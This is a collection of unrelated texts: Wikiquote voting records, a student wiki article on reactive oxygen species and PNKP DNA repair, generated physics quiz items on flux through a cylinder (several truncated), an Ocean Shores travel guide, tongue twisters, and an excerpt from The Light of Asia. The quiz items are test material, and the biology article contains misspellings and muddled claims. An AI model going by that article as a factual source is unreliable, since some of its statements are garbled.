29 March 2009 (UTC) with a lean toward 4. 1 Zarbon 05:08, 30 March 2009 (UTC) 3 InvisibleSun 20:21, 31 March 2009 (UTC) 3 bystander (talk) 20:56, 31 March 2013 (UTC) Business is globalizing so fast that it has led to the often quoted ‘clash of civilizations’. People simply have not had time to get to know and understand people of other cultures sufficiently to live and work in harmony. ~ Begum Aga Khan 3 Kalki 02:02, 29 March 2009 (UTC) 1 Zarbon 05:08, 30 March 2009 (UTC) 3 InvisibleSun 20:21, 31 March 2009 (UTC) It is at night that faith in light is admirable. ~ Edmond Rostand 3 Kalki 02:02, 29 March 2009 (UTC) 2 Zarbon 05:08, 30 March 2009 (UTC) 2 InvisibleSun 20:21, 31 March 2009 (UTC) What say you? It is useless? Ay, I know But who fights ever hoping for success? I fought for lost cause, and for fruitless quest! You there, who are you! — You are thousands! Ah! I know you now, old enemies of mine! Falsehood! Have at you! Ha! and Compromise! Prejudice, Treachery! ... Surrender, I? Parley? No, never! You too, Folly, — you? I know that you will lay me low at last; Let be! Yet I fall fighting, fighting still! ~ Edmond Rostand 3 Kalki 02:02, 29 March 2009 (UTC) 2 Zarbon 05:08, 30 March 2009 (UTC) 3 InvisibleSun 20:21, 31 March 2009 (UTC) You strip from me the laurel and the rose! Take all! Despite you there is yet one thing I hold against you all, and when, tonight, I enter Christ's fair courts, and, lowly bowed, Sweep with doffed casque the heavens' threshold blue, One thing is left, that, void of stain or smutch, I bear away despite you ... My panache. ~ Edmond Rostand 3 Kalki 02:02, 29 March 2009 (UTC) 1 Zarbon 05:08, 30 March 2009 (UTC) 3 InvisibleSun 20:21, 31 March 2009 (UTC) Instinct is the direct connection with truth. ~ Laurette Taylor 3 Kalki 02:02, 29 March 2009 (UTC) 1 Zarbon 05:08, 30 March 2009 (UTC) 2 InvisibleSun 20:21, 31 March 2009 (UTC) Personality is more important than beauty, but imagination is more important than both of them. ~ Laurette Taylor 3 Kalki 02:02, 29 March 2009 (UTC) 2 Zarbon 05:08, 30 March 2009 (UTC) 3 InvisibleSun 20:21, 31 March 2009 (UTC) Twas Beauty that killed the beast! ~ Edgar Wallace 3 Kalki 02:02, 29 March 2009 (UTC) 3 Zarbon 05:08, 30 March 2009 (UTC) 3 InvisibleSun 20:21, 31 March 2009 (UTC) I present you with a Key. ~ Roger Williams 3 Kalki 02:02, 29 March 2009 (UTC) 1 Zarbon 05:08, 30 March 2009 (UTC) 1 InvisibleSun 20:21, 31 March 2009 (UTC) 3 DanielTom (talk) 03:23, 27 March 2013 (UTC) The God of Peace, the God of Truth will shortly seal this truth, and confirm this witness, and make it evident to the whole world, that the doctrine of persecution for cause of conscience, is most evidently and lamentably contrary to the doctrine of Christ Jesus the Prince of Peace. ~ Roger Williams 3 Kalki 02:02, 29 March 2009 (UTC) 1 Zarbon 05:08, 30 March 2009 (UTC) 3 InvisibleSun 20:21, 31 March 2009 (UTC) I have read ... the last will and testament of the Lord Jesus over many times, and yet I cannot find by one tittle of that testament that if He had been pleased to have accepted of a temporal crown and government that ever He would have put forth the least finger of temporal or civil power in the matters of His spiritual affairs and Kingdom. ~ Roger Williams 3 Kalki 02:02, 29 March 2009 (UTC) with a lean toward 4. 1 Zarbon 05:08, 30 March 2009 (UTC) 3 InvisibleSun 20:21, 31 March 2009 (UTC) Enforced uniformity confounds civil and religious liberty and denies the principles of Christianity and civility. No man shall be required to worship or maintain a worship against his will. ~ Roger Williams 3 Kalki 02:02, 29 March 2009 (UTC) with a lean toward 4. 1 Zarbon 05:08, 30 March 2009 (UTC) 3 InvisibleSun 20:21, 31 March 2009 (UTC) 3 bystander (talk) 20:56, 31 March 2013 (UTC) Only the foolish learn from experience - the wise learn from the experience of others. ~ Rolf Hochhuth 3 Zarbon 05:08, 30 March 2009 (UTC) 3 Kalki 06:05, 31 March 2009 (UTC) 3 InvisibleSun 20:21, 31 March 2009 (UTC) It is no use to blame the looking glass if your face is awry. ~ Nikolai Gogol 3 Zarbon 05:08, 30 March 2009 (UTC) 2 Kalki 06:05, 31 March 2009 (UTC) 2 InvisibleSun 20:21, 31 March 2009 (UTC) We have a special responsibility to the ecosystem of this planet. In making sure that other species survive we will be ensuring the survival of our own. ~ Wangari Maathai 2 Zarbon 05:08, 30 March 2009 (UTC) 2 Kalki 06:05, 31 March 2009 (UTC) 3 bystander (talk) 20:56, 31 March 2013 (UTC) All of us have a God in us, and that God is the spirit that unites all life, everything that is on this planet. It must be this voice that is telling me to do something, and I am sure it's the same voice that is speaking to everybody on this planet — at least everybody who seems to be concerned about the fate of the world, the fate of this planet. ~ Wangari Maathai 2 Zarbon 05:08, 30 March 2009 (UTC) 3 Kalki 06:05, 31 March 2009 (UTC) Though part of this was already used. 2 InvisibleSun 20:21, 31 March 2009 (UTC) The people are starving. They need food; they need medicine; they need education. They do not need a skyscraper to house the ruling party and a 24-hour TV station. ~ Wangari Maathai 2 Zarbon 05:08, 30 March 2009 (UTC) 2 Kalki 06:05, 31 March 2009 (UTC) 2 InvisibleSun 20:21, 31 March 2009 (UTC) Until you dig a hole, you plant a tree, you water it and make it survive, you haven't done a thing. You are just talking. ~ Wangari Maathai 2 Zarbon 05:08, 30 March 2009 (UTC) 2 Kalki 06:05, 31 March 2009 (UTC) 2 InvisibleSun 20:21, 31 March 2009 (UTC) I'm trying to be a professional singer. ... I've never been given the chance before. But here's hoping it'll change. ~ Susan Boyle (born 1 April 1961) 3 Kalki (talk · contributions) 10:32, 29 November 2011 (UTC) with a lean toward 4 (alternatively, this could be used on 11 April — as the anniversary of her famous appearance on Britain's Got Talent) Exchange information, learn to speak sensibly about any subject, learn to express your thoughts, accept new ones, examine them, analyze. Think objectively. Think toward the future. ~ Anne McCaffrey, The White Dragon (dob) 3 bystander (talk) 20:56, 31 March 2013 (UTC) There's something wrong in not appreciating one's own special abilities, my girl. Find your own limitations, yes, but don't limit yourself with false modesty. ~ Anne McCaffrey, Dragonsinger 3 bystander (talk) 20:56, 31 March 2013 (UTC) 3 ♞☤☮♌︎Kalki ⚚⚓︎⊙☳☶⚡ 23:06, 1 December 2014 (UTC) 3 ♞☤☮♌︎Kalki ⚚⚓︎⊙☳☶⚡ 20:42, 31 March 2015 (UTC) ) for "All Fool's Day". 3 ♞☤☮♌︎Kalki ⚚⚓︎⊙☳☶⚡ 13:19, 1 April 2016 (UTC) with a lean toward 4, for ALL Fool's Day. 3 ♞☤☮♌︎Kalki ⚚⚓︎⊙☳☶⚡ 13:19, 1 April 2016 (UTC) with a lean toward 4, for ALL Fool's Day. 2 --ΞΔΞ (talk) 14:37, 7 April 2019 (UTC) 3 Lisa (talk) 20:26, 30 March 2021 (UTC) 3 --ΞΔΞ (talk) 14:37, 7 April 2019 (UTC) 2 Lisa (talk) 20:26, 30 March 2021 (UTC) 3 Lisa (talk) 20:26, 30 March 2021 (UTC)
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Reactive oxygen Species and protein mutations Reactive oxygen species (ROS) cause damaging effects to the mitochondria which contributes to aging and disease. ROS is a leading cause to protein damage because of constantly misfolding and misassembling the proteins. An increase in ROS can generate an overwhelming load of misfolded mitochondrial proteins. ROS are chemically active molecules containing oxygen. When the body is in stress the ROS levels increase tramatically which then causes the proteins to misassemble and misfold causing errors in the mitochondria. These errors in the mitochondria lead to the effect of aging and disease. The mammalian mitochondria is comprised of one thousand to one thousand five hundred proteins. This leaves tons of room for error or mutations. However the cell has a quality control to help regulate and protect against damaged and misfolded proteins. Even under optimal conditions approximately ten percent of newly synthesized proteins are mistranslated. Excess or misfolded subunits are degraded by quality control proteases before it can interact with other proteins and organelle disfunction. When the protein is folding into tertuary structures the use of chaperones and proteases prevent the accumulation of unfolded and singled subunits. A majority of the misflding occurs in the electron transport chain and the inner membrane of the mitochondria. Translation errors and nuclear DNA mutations lead to misfolded proteins which then leads to electron transport chain disfunction which leads to higher doses of reactive oxygen species which then can lead to either more misfolded proteins or mtDNA mutations. All of theses have leading effects to aging. However there are some functions that help protect against the misfolding of proteins. Once a protein is detected to be folded wrongly then the UPRmt is notified which notifies quality control and both of these functions help protect against damaged and misfolded proteins. The electron transport chain is comprised of approximately one hundred proteins, thirteen of which are encoded by the matrix of the mitochondria and inserted in the inner membrane. The rest are translated in the cytoplasm and imported into the mitochondria. The electron transport chain is composed of five different complexes. Complex one is the NADH-ubiquinone oxidoreductase, complex two is the Succinate dehydrogenase, complex three is the Cytochrome bc1, complex four it the Cytochrome oxidase and complex five is the ATP synthesis. The mitochondria needs all these complexes in order to make ATP. Reactive oxygen species is generated primarily by complexes one and three of the electron transport chain during oxidative phosphorylation and can damage proteins in all four mitochondrial compartments. Mitochondrial Compartments There are four compartments in the mitochondria where protein folding and assembling takes place. These compartments include the outer membrane (OM), the inner membrane space (IMS), the inner membrane (IM), and the matrix. Below goes into further detail about each. Outer Membrane (OM) The outer mitochondrial membrane is the membrane that encomposes the entire mitochondia. This membrane contains numerous integral proteins which contain a relatively large internal channel that is permeable to most molecules. The outer mitochondrial membrane also contains enzymes which are involved in many activities including elongation of fatty acids, oxidation of epinephrine, and the degradation of tryptophan. Intermembrane Space (IMS) Since the outer mitochondrial membrane contains channels, the content of the intermembrane space is similar to that of the cytoplasm. When the electrons move down the proteins in the electron transport chain, the electrons lose energy and bring hydrogen ions from the mitochondrial matrix into the intermembrane space. When the concentration gradient of H+ ions forms, a protein called ATP synthase conectects the potential energy of these ions and starts chemiosmosis, where the hydrogen ions reenter the matrix via this enzyme bound to the folds of the inner membrane. ATP is formed by the combining a phosphate group and ADP. Inner Membrane (IM) The mitochondria forms two membranes to have greater space for proteins to function efficiently and properly. The inner membrane contains transport proteins that transport metabolites across the membrane in a highly controlled manner. This is also the region where the electron transport chain is located. Matrix The matrix contains soluble enzymes that catalyze the oxidation of small organic molecules. This region also contains the mitochondia's DNA and ribosomes. The pH of the matrix is approximately 7.8. ROS affects DNA Reactive Oxygen Species (ROS) can be damaging to the DNA because it can break the strands and result in the loss of base. This damage to the DNA leads to aging and neurological disorders. ROS occurs naturally in the body and can be reduced by the quality control. An abundance of the ROS is body for the cells and results in damage to the DNA and proteins. For the misfolding of proteins, the cells have the quality control to fix this but with the strand breaks in DNA the cells have an enzyme polynucleotide kinase/phosphatase (PNKP) to control this. Polynucleotide Kinase/Phosphatase (PNKP) PNKP is an important enzyme in cellular processing of strand breaks and participates in many DNA repair pathways. PNKP consists of 5'-kinase and 3'-phosphatase activities which are frequently required for processing single and double strand breaks. PNKP is a multi-domain enzyme that consists of a N-terminal and a C-terminal. PNKP contains two catalytic active sites which are on the same side of the protein. PNKP contains a selective distinct groove for the large, double stranded DNA substrate which consist of two positively charged surfaces. Since the amino acids substitute on the surfaces of kinase activity, it illustrates that the DNA substrates bind across the surfaces in a distinct orientation. Mammal PNKP effortlessly acts on the 3'-phosphate ends. The PNKP goes about repairing the DNA differently depending on the type of damage the DNA has. For instance if the DNA is broken at a single strand, the PNKP will go about repairing this differently than if the DNA had a break in the bases. It will also repair it differently if it had a break in the double strand. PNKP is involved in multiple DNA repair pathways. A mutation in the PNKP can cause a severe neurological autosomal recessive disease characterized by intractable seizures and developmental delays. Researchers are researching PNKP's regulation, physiological role in neurons and other tissues, and interaction with other repair enzymes. Since PNKP is involved in many repair pathways, it is now being thought of a therapeutic target to the treatment of cancer. References Baker, M. Brooke and Haynes, M. Cole; Mitochondrial Protein Quality Control During Biogenesis and Aging, pg 254-260. Weinfeld, Michael; Mani, Rajam S.; Abdou, Ismail; Acetuno, R. Daniel and Glover, J.N. Mark; Tidying up loose ends: the role of polynucleotide kinase/phosphatase in DNA strand break repair, pg. 1-7
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Study: http://en.wikiversity.org/wiki/Physics_equations/Sheet/All_chapters 1 A cylinder of radius, r=3, and height, h=4, is centered at the origin and oriented along the z axis. A vector field can be expressed in cylindrical coordinates as, F → = ( 2.35 + 2.57 z ) ρ 3 ρ ^ + 7.45 z 3 z ^ {\displaystyle {\vec {\mathfrak {F}}}=(2.35+2.57z)\rho ^{3}{\hat {\rho }}+7.45z^{3}{\hat {z}}} Let n ^ {\displaystyle {\hat {n}}} be the outward unit normal to this cylinder and evaluate , | ∫ t o p F → ⋅ n ^ d A | {\displaystyle \left|\int _{top}{\vec {\mathfrak {F}}}\cdot {\hat {n}}dA\right|\,} over the top surface of the cylinder. 2 A cylinder of radius, r=3, and height, h=4, is centered at the origin and oriented along the z axis. A vector field can be expressed in cylindrical coordinates as, F → = ( 2.05 + 2.59 z ) ρ 2 ρ ^ + 7.4 z 2 z ^ {\displaystyle {\vec {\mathfrak {F}}}=(2.05+2.59z)\rho ^{2}{\hat {\rho }}+7.4z^{2}{\hat {z}}} Let n ^ {\displaystyle {\hat {n}}} be the outward unit normal to this cylinder and evaluate , | ∫ t o p F → ⋅ n ^ d A | {\displaystyle \left|\int _{top}{\vec {\mathfrak {F}}}\cdot {\hat {n}}dA\right|\,} over the top surface of the cylinder. 3 A cylinder of radius, r=2, and height, h=4, is centered at the origin and oriented along the z axis. A vector field can be expressed in cylindrical coordinates as, F → = ( 2.12 + 1.85 z ) ρ 3 ρ ^ + 8.88 z 2 z ^ {\displaystyle {\vec {\mathfrak {F}}}=(2.12+1.85z)\rho ^{3}{\hat {\rho }}+8.88z^{2}{\hat {z}}} Let n ^ {\displaystyle {\hat {n}}} be the outward unit normal to this cylinder and evaluate , | ∫ t o p F → ⋅ n ^ d A | {\displaystyle \left|\int _{top}{\vec {\mathfrak {F}}}\cdot {\hat {n}}dA\right|\,} over the top surface of the cylinder. 4 A cylinder of radius, r=2, and height, h=4, is centered at the origin and oriented along the z axis. 5 A cylinder of radius, r=2, and height, h=4, is centered at the origin and oriented along the z axis. A vector field can be expressed in cylindrical coordinates as, F → = ( 2.14 + 2.8 z ) ρ 2 ρ ^ + 9.94 z 2 z ^ {\displaystyle {\vec {\mathfrak {F}}}=(2.14+2.8z)\rho ^{2}{\hat {\rho }}+9.94z^{2}{\hat {z}}} Let n ^ {\displaystyle {\hat {n}}} be the outward unit normal to this cylinder and evaluate , | ∫ t o p F → ⋅ n ^ d A | {\displaystyle \left|\int _{top}{\vec {\mathfrak {F}}}\cdot {\hat {n}}dA\right|\,} over the top surface of the cylinder. 6 A cylinder of radius, r=3, and height, h=6, is centered at the origin and oriented along the z axis. 7 A cylinder of radius, r=2, and height, h=4, is centered at the origin and oriented along the z axis. A vector field can be expressed in cylindrical coordinates as, F → = ( 2.07 + 2.87 z ) ρ 2 ρ ^ + 9.56 z 3 z ^ {\displaystyle {\vec {\mathfrak {F}}}=(2.07+2.87z)\rho ^{2}{\hat {\rho }}+9.56z^{3}{\hat {z}}} Let n ^ {\displaystyle {\hat {n}}} be the outward unit normal to this cylinder and evaluate , | ∫ t o p F → ⋅ n ^ d A | {\displaystyle \left|\int _{top}{\vec {\mathfrak {F}}}\cdot {\hat {n}}dA\right|\,} over the top surface of the cylinder. 8 A cylinder of radius, r=2, and height, h=4, is centered at the origin and oriented along the z axis. A vector field can be expressed in cylindrical coordinates as, F → = ( 2.17 + 1.5 z ) ρ 2 ρ ^ + 8.75 z 2 z ^ {\displaystyle {\vec {\mathfrak {F}}}=(2.17+1.5z)\rho ^{2}{\hat {\rho }}+8.75z^{2}{\hat {z}}} Let n ^ {\displaystyle {\hat {n}}} be the outward unit normal to this cylinder and evaluate , | ∫ t o p F → ⋅ n ^ d A | {\displaystyle \left|\int _{top}{\vec {\mathfrak {F}}}\cdot {\hat {n}}dA\right|\,} over the top surface of the cylinder. 9 A cylinder of radius, r=3, and height, h=6, is centered at the origin and oriented along the z axis. 10 A cylinder of radius, r=3, and height, h=4, is centered at the origin and oriented along the z axis. 11 A cylinder of radius, r=3, and height, h=6, is centered at the origin and oriented along the z axis. 12 A cylinder of radius, r=3, and height, h=6, is centered at the origin and oriented along the z axis. 13 A cylinder of radius, r=2, and height, h=4, is centered at the origin and oriented along the z axis. 14 A cylinder of radius, r=2, and height, h=6, is centered at the origin and oriented along the z axis. A vector field can be expressed in cylindrical coordinates as, F → = ( 1.93 + 2.31 z ) ρ 3 ρ ^ + 7.21 z 2 z ^ {\displaystyle {\vec {\mathfrak {F}}}=(1.93+2.31z)\rho ^{3}{\hat {\rho }}+7.21z^{2}{\hat {z}}} Let n ^ {\displaystyle {\hat {n}}} be the outward unit normal to this cylinder and evaluate , | ∫ t o p F → ⋅ n ^ d A | {\displaystyle \left|\int _{top}{\vec {\mathfrak {F}}}\cdot {\hat {n}}dA\right|\,} over the top surface of the cylinder. 15 A cylinder of radius, r=2, and height, h=6, is centered at the origin and oriented along the z axis. A vector field can be expressed in cylindrical coordinates as, F → = ( 2.24 + 1.11 z ) ρ 3 ρ ^ + 8.16 z 3 z ^ {\displaystyle {\vec {\mathfrak {F}}}=(2.24+1.11z)\rho ^{3}{\hat {\rho }}+8.16z^{3}{\hat {z}}} Let n ^ {\displaystyle {\hat {n}}} be the outward unit normal to this cylinder and evaluate , | ∫ t o p F → ⋅ n ^ d A | {\displaystyle \left|\int _{top}{\vec {\mathfrak {F}}}\cdot {\hat {n}}dA\right|\,} over the top surface of the cylinder. 16 A cylinder of radius, r=2, and height, h=6, is centered at the origin and oriented along the z axis. A vector field can be expressed in cylindrical coordinates as, F → = ( 1.96 + 2.52 z ) ρ 2 ρ ^ + 7.11 z 2 z ^ {\displaystyle {\vec {\mathfrak {F}}}=(1.96+2.52z)\rho ^{2}{\hat {\rho }}+7.11z^{2}{\hat {z}}} Let n ^ {\displaystyle {\hat {n}}} be the outward unit normal to this cylinder and evaluate , | ∫ t o p F → ⋅ n ^ d A | {\displaystyle \left|\int _{top}{\vec {\mathfrak {F}}}\cdot {\hat {n}}dA\right|\,} over the top surface of the cylinder. 17 A cylinder of radius, r=2, and height, h=6, is centered at the origin and oriented along the z axis. 18 A cylinder of radius, r=2, and height, h=6, is centered at the origin and oriented along the z axis. A vector field can be expressed in cylindrical coordinates as, F → = ( 2.24 + 2.08 z ) ρ 2 ρ ^ + 8.93 z 3 z ^ {\displaystyle {\vec {\mathfrak {F}}}=(2.24+2.08z)\rho ^{2}{\hat {\rho }}+8.93z^{3}{\hat {z}}} Let n ^ {\displaystyle {\hat {n}}} be the outward unit normal to this cylinder and evaluate , | ∫ t o p F → ⋅ n ^ d A | {\displaystyle \left|\int _{top}{\vec {\mathfrak {F}}}\cdot {\hat {n}}dA\right|\,} over the top surface of the cylinder. 19 A cylinder of radius, r=2, and height, h=6, is centered at the origin and oriented along the z axis. 20 A cylinder of radius, r=3, and height, h=4, is centered at the origin and oriented along the z axis. A vector field can be expressed in cylindrical coordinates as, F → = ( 2.37 + 2.6 z ) ρ 2 ρ ^ + 8.84 z 3 z ^ {\displaystyle {\vec {\mathfrak {F}}}=(2.37+2.6z)\rho ^{2}{\hat {\rho }}+8.84z^{3}{\hat {z}}} Let n ^ {\displaystyle {\hat {n}}} be the outward unit normal to this cylinder and evaluate , | ∫ t o p F → ⋅ n ^ d A | {\displaystyle \left|\int _{top}{\vec {\mathfrak {F}}}\cdot {\hat {n}}dA\right|\,} over the top surface of the cylinder. 21 A cylinder of radius, r=2, and height, h=4, is centered at the origin and oriented along the z axis. 22 A cylinder of radius, r=3, and height, h=6, is centered at the origin and oriented along the z axis. A vector field can be expressed in cylindrical coordinates as, F → = ( 1.88 + 1.29 z ) ρ 2 ρ ^ + 7.2 z 2 z ^ {\displaystyle {\vec {\mathfrak {F}}}=(1.88+1.29z)\rho ^{2}{\hat {\rho }}+7.2z^{2}{\hat {z}}} Let n ^ {\displaystyle {\hat {n}}} be the outward unit normal to this cylinder and evaluate , | ∫ t o p F → ⋅ n ^ d A | {\displaystyle \left|\int _{top}{\vec {\mathfrak {F}}}\cdot {\hat {n}}dA\right|\,} over the top surface of the cylinder. 23 A cylinder of radius, r=3, and height, h=6, is centered at the origin and oriented along the z axis. A vector field can be expressed in cylindrical coordinates as, F → = ( 2.44 + 2.86 z ) ρ 2 ρ ^ + 7.42 z 3 z ^ {\displaystyle {\vec {\mathfrak {F}}}=(2.44+2.86z)\rho ^{2}{\hat {\rho }}+7.42z^{3}{\hat {z}}} Let n ^ {\displaystyle {\hat {n}}} be the outward unit normal to this cylinder and evaluate , | ∫ t o p F → ⋅ n ^ d A | {\displaystyle \left|\int _{top}{\vec {\mathfrak {F}}}\cdot {\hat {n}}dA\right|\,} over the top surface of the cylinder. A cylinder of radius, r=3, and height, h=4, is centered at the origin and oriented along the z axis. A vector field can be expressed in cylindrical coordinates as, F → = ( 2.35 + 2.57 z ) ρ 3 ρ ^ + 7.45 z 3 z ^ {\displaystyle {\vec {\mathfrak {F}}}=(2.35+2.57z)\rho ^{3}{\hat {\rho }}+7.45z^{3}{\hat {z}}} Let n ^ {\displaystyle {\hat {n}}} be the outward unit normal to this cylinder and evaluate , | ∫ s i d e F → ⋅ n ^ d A | {\displaystyle \left|\int _{side}{\vec {\mathfrak {F}}}\cdot {\hat {n}}dA\right|\,} over the curved side surface of the cylinder. A cylinder of radius, r=3, and height, h=4, is centered at the origin and oriented along the z axis. A vector field can be expressed in cylindrical coordinates as, F → = ( 2.35 + 2.57 z ) ρ 3 ρ ^ + 7.45 z 3 z ^ {\displaystyle {\vec {\mathfrak {F}}}=(2.35+2.57z)\rho ^{3}{\hat {\rho }}+7.45z^{3}{\hat {z}}} Let n ^ {\displaystyle {\hat {n}}} be the outward unit normal to this cylinder and evaluate , | ∮ F → ⋅ n ^ d A | {\displaystyle \left|\oint {\vec {\mathfrak {F}}}\cdot {\hat {n}}dA\right|\,} over the entire surface of the cylinder.
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Ocean Shores is a city in the Olympic Peninsula region of Washington. It is located between Grays Harbor and the natural beauty of the Pacific Ocean. It is also near the wild wetlands of the Olympic Peninsula. The ocean shores are spectacular with a first-class resorts that offer the finest family vacation lodging anywhere on the Washington coast. The pacific coastline is made up of secluded beaches and ancient rainforests. The weather in Ocean Shores is affected by the cold Pacific Ocean. Although it may be the middle of July and cloudless in the rest of the state, within 10 miles of the ocean, fog, wind, and mist will loom. With this in mind, don't come expecting to "catch some rays". The Quinault Indian Nation is comprised of over 1,300 members of the Quinault, Queets, Hoh, Quilieute, Chehalis, Cowlitz, and Chinook tribes. The 208,150 acre Reservation is pure in its wild coastline, unspoiled lakes, raging rivers, and pristine wilderness--also home to one of the largest conifer producing forest in America. On a trivial note, crooner musician Pat Boone was an early investor when the town development began in 1967. Olympic National Park is home to glacier capped mountains atop temperate rainforests and ancient forests. This is a truly magical place where the uniqueness of the alpine landscape seamlessly joins the vastness of the sea. Ocean City State Park. 170 acres of beach, dunes and shoreline pine. Clamming, surfing, kite flying and beachcombing are popular activities. Check out the interpretive center and amphitheater. Cape Disappointment State Park. Nothing like its namesake. This 1,882-acre park is located on the Long Beach Peninsula. The Lewis and Clark Interpretive Center is suspended on a 200-foot-high cliff and promises one of the most spectacular views in Washington State. Visitors can play on the 27 miles of ocean beach, explore the lighthouses or take in the ocean breeze on one of the hiking trails. Golf. Visit the Ocean Shores Golf Course. Go fishing. Charter a captain to skipper the boat while you fish for halibut salmon, and tuna with a number of different charter services. Watersports. Explore Washington's waterways in a canoe, kayak, sailboat, and even cruises Bike. There is a world class selection of biking trails from the casual to the challenging. [formerly dead link] The Weatherwax. A pristine 121 acres of land and lake known as the Weatherwax property was purchased by the city of Ocean Shores in July 1999. The Weatherwax provides primitive trails where you can enjoy the a beautiful peaceful area. If your stay in Ocean Shores includes a Sunday, you shouldn't miss the incredible Sunday Morning Brunch at Quinault Resort Casino. Made to order omelets, waffles, carved ham and roast, lg peel and eat shrimp. I would compare this brunch to others I have had at Saltys in Seattle, Sheraton in S.F., and Wild Flower in Whistler BC. Quinault Beach Resort and Casino. Las Vegas style action and a unique opportunity for reflection in one place.
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Tongue Twisters written by Igor Status (The Netherlands) To get the full effect of a tongue twister you should try to repeat it several times, as quickly as possible, without stumbling or mispronouncing. Asia providers provide casual clothes worldwide. Rose has sewn a bloody beautiful blue blouse with black and red roses. Clammy clams clamber along a can camber to get to the clabber. Languorous regulators angrily and regularly regulated regulators. He thinks his intense thoughts should bring to the brilliant results. He says what he thinks, but he does not think what he says. If you charge non-rechargeable batteries, you’d better mind a flutter; do it not floppy but properly without cutter - a result does not matter. In a sense, the consequence of the consentient pretense gives sense in talking nonsense when fencing the constituency to mend your fences before the elections. Jack from Jacksonville has a knack to make cracklings. Once lived eleven lively elves in a little littoral village. Several external extensive territories are terribly and extraordinarily extended. The instructor used an extractor to extract some extraction for insects. The pirates` private property was probably promptly and properly roped with a rope and put on board by Bob and Rob. When toting a tote, do not totter so that the tote bought would be brought. Which of these benevolent pet animals does benefit: black-beetle, rat, bat or elephant? Mr. Write is in a desperate plight, trying to write right. He is right that he has no fright to write not right enough. He is inclined to keep fighting for right writing. William was willing to make his will in favour of Willy, Winnie and Will.
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The Light of Asia, subtitled The Great Renunciation is a book (1879) by Sir Edwin Arnold, which presents Gautama Buddha's life, character, and philosophy, in a series of verses. It was one of the first successful attempts to popularize Buddhism for a Western readership. (Full text online multiple formats) The Scripture of the Saviour of the World, Lord Buddha—Prince Siddartha styled on earth In Earth and Heavens and Hells Incomparable, All-honoured, Wisest, Best, most Pitiful; The Teacher of Nirvana and the Law. Then came he to be born again for men. Below the highest sphere four Regents sit Who rule our world, and under them are zones Nearer, but high, where saintliest spirits dead Wait thrice ten thousand years, then live again; And on Lord Buddha, waiting in that sky, Came for our sakes the five sure signs of birth So that the Devas knew the signs, and said "Buddha will go again to help the World." "Yea!" spake He, "now I go to help the World. That night the wife of King Suddhodana, Maya the Queen, asleep beside her Lord, Dreamed a strange dream; dreamed that a star from heaven-- Splendid, six-rayed, in colour rosy-pearl, Whereof the token was an Elephant Six-tusked and whiter than Vahuka's milk-- Shot through the void and, shining into her, Entered her womb upon the right. Awaked, Bliss beyond mortal mother's filled her breast, The strong hills shook; the waves Sank lulled; all flowers that blow by day came forth As 't were high noon; down to the farthest hells Passed the Queen's joy, as when warm sunshine thrills Wood-glooms to gold, and into all the deeps A tender whisper pierced. "The dead that are to live, the live who die, Uprise, and hear, and hope! Buddha is come!" ...and the world's heart throbbed, and a wind blew With unknown freshness over lands and seas. The Queen shall bear a boy, a holy child Of wondrous wisdom, profiting all flesh, Who shall deliver men from ignorance, Or rule the world, if he will deign to rule. With coral shields: the Angel of the North, Environed by his Yakshas, all in gold, On yellow horses, bearing shields of gold. These, with their pomp invisible, came down And took the poles, in caste and outward garb Like bearers, yet most mighty gods; and gods Walked free with men that day, though men knew not For Heaven was filled with gladness for Earth's sake, Knowing Lord Buddha thus was come again. The King gave order that his town should keep High festival; therefore the ways were swept, Rose-odours sprinkled in the street, the trees Were hung with lamps and flags, while merry crowds Gaped on the sword-players and posturers, The jugglers, charmers, swingers, rope-walkers, The nautch-girls in their spangled skirts and bells That chime light laughter round their restless feet; The masquers wrapped in skins of bear and deer. The tiger-tamers, wrestlers, quail-fighters, Beaters of drum and twanglers of the wire, Who made the people happy by command. 'Mongst the strangers came A grey-haired saint, Asita, one whose ears, Long closed to earthly things, caught heavenly sounds, And heard at prayer beneath his peepul-tree The Devas singing songs at Buddha's birth. Wondrous in lore he was by age and fasts; Him, drawing nigh, seeming so reverend, The King saluted, and Queen Maya made To lay her babe before such holy feet; ...Thou wilt preach the Law and save all flesh Who learn the Law, though I shall never hear, Dying too soon, who lately longed to die; Howbeit I have seen Thee. Know, O King! This is that Blossom on our human tree Which opens once in many myriad years-- But opened, fills the world with Wisdom's scent And Love's dropped honey; from thy royal root Dear to all gods and men for this great birth, Henceforth art grown too sacred for more woe, And life is woe, therefore in seven days Painless thou shalt attain the close of pain." "Who is the wisest man, great sirs," he asked, "To teach my Prince that which a Prince should know?" Whereto gave answer each with instant voice "King! Viswamitra is the wisest one, The farthest-seen in Scriptures, and the best In learning, and the manual arts, and all." "Thus Viswamitra came and heard commands; And, on a day found fortunate, the Prince Took up his slate of ox-red sandal-wood, All-beautified by gems around the rim, And sprinkled smooth with dust of emery, These took he, and his writing-stick, and stood With eyes bent down before the Sage, who said, "Child, write this Scripture, speaking slow the verse L'Gayatri' named, which only High-born hear:-- "Om, tatsaviturvarenyam Bhargo devasya dhimahi Dhiyo yo na prachodayat." "Acharya, I write," ...replied The Prince Now, when our Lord was come to eighteen years, The King commanded that there should be built Three stately houses, one of hewn square beams With cedar lining, warm for winter days; One of veined marbles, cool for summer heat; And one of burned bricks, with blue tiles bedecked, Pleasant at seed-time, when the champaks bud— Subha, Suramma, Ramma, were their names. Delicious gardens round about them bloomed, Streams wandered wild and musky thickets stretched, With many a bright pavilion and fair lawn In midst of which Siddartha strayed at will, Some new delight provided every hour; And happy hours he knew, for life was rich, With youthful blood at quickest; yet still came The shadows of his meditation back, As the lake's silver dulls with driving clouds. Which the King marking, called his Ministers: "Bethink ye, sirs I how the old Rishi spake," He said, "and what my dream-readers foretold. This boy, more dear to me than mine heart's blood, Shall be of universal dominance, Trampling the neck of all his enemies, A King of kings—and this is in my heart;— Or he shall tread the sad and lowly path Of self-denial and of pious pains, Gaining who knows what good, when all is lost Worth keeping; and to this his wistful eyes Do still incline amid my palaces. Like everything the British poet Edwin Arnold wrote, The Light of Asia was quickly written: a poem in eight books of about five hundred lines each, mostly in blank verse, composed over a period of several months when Arnold was busy with other concerns. Immediately upon its publication in the summer of 1879, the poem began to sell copies and win attention. It was a life of Siddhartha Gautama, told from the point of view of “an Indian Buddhist” (so read the title page) in high English style. The immediate sensation surrounding The Light of Asia was remarkable: for some time on both sides of the Atlantic, newspapers and dining rooms were charged with discussion about the Buddha, his teaching, and Arnold’s presentation of Buddhism. The book’s success was also sustained. By 1885 the authorized English version had gone through thirty editions. Pirated editions, which went for as little as three cents in the U.S., make a count of the book’s circulation impossible, but it has been estimated at a million copies (not far short of Huckleberry Finn). After thirty years it had become one of the undisputed bestsellers of Victorian England and America, had been translated into a number of languages (German, Dutch, French, Czech, 